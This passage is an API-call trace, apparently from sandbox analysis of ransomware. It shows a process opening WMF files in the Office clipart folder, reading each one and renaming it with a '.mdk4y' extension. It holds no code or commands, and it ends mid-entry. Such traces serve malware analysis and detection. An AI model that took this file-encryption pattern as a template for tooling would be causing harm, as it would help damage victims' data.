[0171.141] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe64, lpOverlapped=0x0) returned 1 [0171.142] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824637200000) returned 1 [0171.142] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824637200000) returned 1 [0171.142] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02390_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02390_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02390_.wmf.mdk4y")) returned 1 [0171.143] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.143] AreFileApisANSI () returned 1 [0171.143] GetACP () returned 0x4e4 [0171.143] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA02398_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA02398_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.143] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02398_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02398_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.144] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824637400000) returned 1 [0171.144] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1e98, lpOverlapped=0x0) returned 1 [0171.183] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824641300000) returned 1 [0171.183] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824641300000) returned 1 [0171.183] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02398_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02398_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02398_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02398_.wmf.mdk4y")) returned 1 [0171.184] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.184] AreFileApisANSI () returned 1 [0171.184] GetACP () returned 0x4e4 [0171.184] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA02400_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA02400_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.185] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02400_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02400_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.186] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824641600000) returned 1 [0171.186] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd24, lpOverlapped=0x0) returned 1 [0171.188] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824641800000) returned 1 [0171.189] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824641800000) returned 1 [0171.189] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02400_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02400_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02400_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02400_.wmf.mdk4y")) returned 1 [0171.190] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.190] AreFileApisANSI () returned 1 [0171.190] GetACP () returned 0x4e4 [0171.190] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA02404_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA02404_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.190] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02404_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02404_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.191] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824642100000) returned 1 [0171.191] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2120, lpOverlapped=0x0) returned 1 [0171.222] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824645200000) returned 1 [0171.222] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824645200000) returned 1 [0171.223] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02404_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02404_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02404_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02404_.wmf.mdk4y")) returned 1 [0171.224] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.224] AreFileApisANSI () returned 1 [0171.224] GetACP () returned 0x4e4 [0171.224] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA02405_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA02405_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.224] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02405_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.225] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824645400000) returned 1 [0171.231] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5080, lpOverlapped=0x0) returned 1 [0171.232] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824646200000) returned 1 [0171.232] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824646200000) returned 1 [0171.233] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02405_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02405_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02405_.wmf.mdk4y")) returned 1 [0171.234] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.234] AreFileApisANSI () returned 1 [0171.234] GetACP () returned 0x4e4 [0171.234] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA02407_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA02407_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.234] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02407_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.235] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824646500000) returned 1 [0171.235] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1fc8, lpOverlapped=0x0) returned 1 [0171.256] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824648600000) returned 1 [0171.256] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824648600000) returned 1 [0171.257] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02407_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02407_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02407_.wmf.mdk4y")) returned 1 [0171.258] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.258] AreFileApisANSI () returned 1 [0171.258] GetACP () returned 0x4e4 [0171.258] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA02413_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA02413_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.259] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02413_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.259] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824648900000) returned 1 [0171.260] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x28ec, lpOverlapped=0x0) returned 1 [0171.268] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824649800000) returned 1 [0171.268] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824649800000) returned 1 [0171.268] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02413_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02413_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02413_.wmf.mdk4y")) returned 1 [0171.270] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.270] AreFileApisANSI () returned 1 [0171.270] GetACP () returned 0x4e4 [0171.270] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA02417_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA02417_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.270] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02417_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02417_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.271] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824650100000) returned 1 [0171.271] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xb24, lpOverlapped=0x0) returned 1 [0171.273] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824650200000) returned 1 [0171.273] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824650300000) returned 1 [0171.273] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02417_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02417_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02417_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02417_.wmf.mdk4y")) returned 1 [0171.274] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.274] AreFileApisANSI () returned 1 [0171.274] GetACP () returned 0x4e4 [0171.274] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA02423_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA02423_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.274] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02423_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02423_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.275] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824650500000) returned 1 [0171.275] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2fb8, lpOverlapped=0x0) returned 1 [0171.281] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824651100000) returned 1 [0171.281] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824651100000) returned 1 [0171.281] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02423_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02423_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02423_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02423_.wmf.mdk4y")) returned 1 [0171.282] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.282] AreFileApisANSI () returned 1 [0171.282] GetACP () returned 0x4e4 [0171.282] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA02424_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA02424_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.282] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02424_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02424_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.284] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824651400000) returned 1 [0171.284] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x53c, lpOverlapped=0x0) returned 1 [0171.295] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824652500000) returned 1 [0171.295] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824652500000) returned 1 [0171.296] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02424_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02424_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02424_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02424_.wmf.mdk4y")) returned 1 [0171.297] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.297] AreFileApisANSI () returned 1 [0171.297] GetACP () returned 0x4e4 [0171.297] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA02426_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA02426_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.297] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02426_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.297] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824652700000) returned 1 [0171.297] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1948, lpOverlapped=0x0) returned 1 [0171.299] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824652900000) returned 1 [0171.299] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824652900000) returned 1 [0171.299] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02426_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02426_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02426_.wmf.mdk4y")) returned 1 [0171.299] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.300] AreFileApisANSI () returned 1 [0171.300] GetACP () returned 0x4e4 [0171.300] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA02431_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA02431_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.300] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02431_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02431_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.300] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824653000000) returned 1 [0171.300] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1c2c, lpOverlapped=0x0) returned 1 [0171.322] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824655200000) returned 1 [0171.322] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824655200000) returned 1 [0171.323] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02431_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02431_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02431_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02431_.wmf.mdk4y")) returned 1 [0171.324] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.324] AreFileApisANSI () returned 1 [0171.324] GetACP () returned 0x4e4 [0171.324] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA02435_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA02435_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.324] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02435_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.325] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824655500000) returned 1 [0171.325] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xff8, lpOverlapped=0x0) returned 1 [0171.327] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824655700000) returned 1 [0171.327] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824655700000) returned 1 [0171.327] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02435_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02435_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02435_.wmf.mdk4y")) returned 1 [0171.328] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.328] AreFileApisANSI () returned 1 [0171.328] GetACP () returned 0x4e4 [0171.328] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA02439_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA02439_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.328] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02439_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.329] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824655900000) returned 1 [0171.329] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1434, lpOverlapped=0x0) returned 1 [0171.334] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824656400000) returned 1 [0171.334] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824656400000) returned 1 [0171.334] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02439_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02439_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02439_.wmf.mdk4y")) returned 1 [0171.335] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0171.335] AreFileApisANSI () returned 1 [0171.335] GetACP () returned 0x4e4 [0171.335] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA02441_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA02441_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0171.335] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02441_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0171.336] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824656600000) returned 1 [0171.336] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3218, lpOverlapped=0x0) returned 1 [0171.342] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824657200000) returned 1 [0171.342] 